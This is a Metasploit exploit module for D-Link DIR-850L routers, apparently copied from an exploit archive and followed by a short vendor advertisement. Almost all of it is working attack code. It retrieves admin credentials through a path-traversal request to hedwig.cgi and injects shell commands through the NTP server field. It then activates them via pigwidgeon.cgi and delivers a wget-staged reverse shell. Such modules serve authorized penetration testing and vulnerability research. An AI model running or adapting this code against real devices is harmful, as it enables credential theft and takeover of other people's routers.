##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'openssl'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'DIR-850L (Un)authenticated OS Command Exec',
'Description' => %q{
This module leverages an unauthenticated credential disclosure
vulnerability to then execute arbitrary commands on DIR-850L routers
as an authenticated user. Unable to use Meterpreter payloads.
},
'Author' => [
'Mumbai', # https://github.com/realoriginal (module)
'Zdenda' # vuln discovery
],
'References' => [
['URL', 'https://www.seebug.org/vuldb/ssvid-96333'],
['URL', 'https://blogs.securiteam.com/index.php/archives/3310'],
],
'DisclosureDate' => 'Aug 9 2017',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE,
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsbe/shell/reverse_tcp'
},
'Privileged' => true,
'Payload' => {
'DisableNops' => true,
},
'Targets' => [[ 'Automatic', {} ]],
))
end
def check
begin
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})
if res && res.headers['Server']
auth = res.headers['Server']
if auth =~ /DIR-850L/
if auth =~ /WEBACCESS\/1\.0/
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Detected
end
end
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Unknown
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
# some other DIR-8X series routers are vulnerable to this same retrieve creds vuln as well...
# should write an auxiliary module to-do -> WRITE AUXILIARY
def retrieve_creds
begin
xml = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
xml << "<postxml>\r\n"
xml << "<module>\r\n"
xml << " <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>\r\n"
xml << "</module>\r\n"
xml << "</postxml>"
res = send_request_cgi({
'uri' => '/hedwig.cgi',
'method' => 'POST',
'encode_params' => false,
'headers' => {
'Accept-Encoding' => 'gzip, deflate',
'Accept' => '*/*'
},
'ctype' => 'text/xml',
'cookie' => "uid=#{Rex::Text.rand_text_alpha_lower(8)}",
'data' => xml,
})
if res.body =~ /<password>(.*)<\/password>/ # fixes stack trace issue
parse = res.get_xml_document
username = parse.at('//name').text
password = parse.at('//password').text
vprint_good("#{peer} - Retrieved the username/password combo #{username}/#{password}")
loot = store_loot("dlink.dir850l.login", "text/plain", rhost, res.body)
print_good("#{peer} - Downloaded credentials to #{loot}")
return username, password
else
fail_with(Failure::NotFound, "#{peer} - Credentials could not be obtained")
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
end
end
def retrieve_uid
begin
res = send_request_cgi({
'uri' => '/authentication.cgi',
'method' => 'GET',
})
parse = res.get_json_document
uid = parse['uid']
challenge = parse['challenge']
return uid, challenge
rescue ::Rex::ConnectionError
fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
end
end
def login(username, password)
uid, challenge = retrieve_uid
begin
hash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('md5'), password.to_s, (username.to_s + challenge.to_s)).upcase
send_request_cgi({
'uri' => '/authentication.cgi',
'method' => 'POST',
'data' => "id=#{username}&password=#{hash}",
'cookie' => "uid=#{uid}"
})
return uid
rescue ::Rex::ConnectionError
fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
end
end
def execute_command(cmd, opts)
uid = login(@username, @password) # reason being for loop is cause UID expires for some reason after executing 1 command
payload = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
payload << "<postxml>\r\n"
payload << "<module>\r\n"
payload << " <service>DEVICE.TIME</service>\r\n"
payload << " <device>\r\n"
payload << " <time>\r\n"
payload << " <ntp>\r\n"
payload << " <enable>1</enable>\r\n"
payload << " <period>604800</period>\r\n"
payload << " <server>#{Rex::Text.rand_text_alpha_lower(8)}; (#{cmd}&); </server>\r\n"
payload << " </ntp>\r\n"
payload << " <ntp6>\r\n"
payload << " <enable>1</enable>\r\n"
payload << " <period>604800</period>\r\n"
payload << " </ntp6>\r\n"
payload << " <timezone>20</timezone>\r\n"
payload << " <time/>\r\n"
payload << " <date/>\r\n"
payload << " <dst>0</dst>\r\n"
payload << " <dstmanual/>\r\n"
payload << " <dstoffset/>\r\n"
payload << " </time>\r\n"
payload << " </device>\r\n"
payload << "</module>\r\n"
payload << "</postxml>"
begin
# save configuration
res = send_request_cgi({
'uri' => '/hedwig.cgi',
'method' => 'POST',
'ctype' => 'text/xml',
'data' => payload,
'cookie' => "uid=#{uid}"
})
# execute configuration
res = send_request_cgi({
'uri' => '/pigwidgeon.cgi',
'method' => 'POST',
'data' => 'ACTIONS=SETCFG,ACTIVATE',
'cookie' => "uid=#{uid}"
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
end
end
def exploit
print_status("#{peer} - Connecting to target...")
unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable url")
end
#
# Information Retrieval, obtains creds and logs in
#
@username, @password = retrieve_creds
execute_cmdstager(
:flavor => :wget,
:linemax => 200
)
end
end
# 0day.today [2018-04-14] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation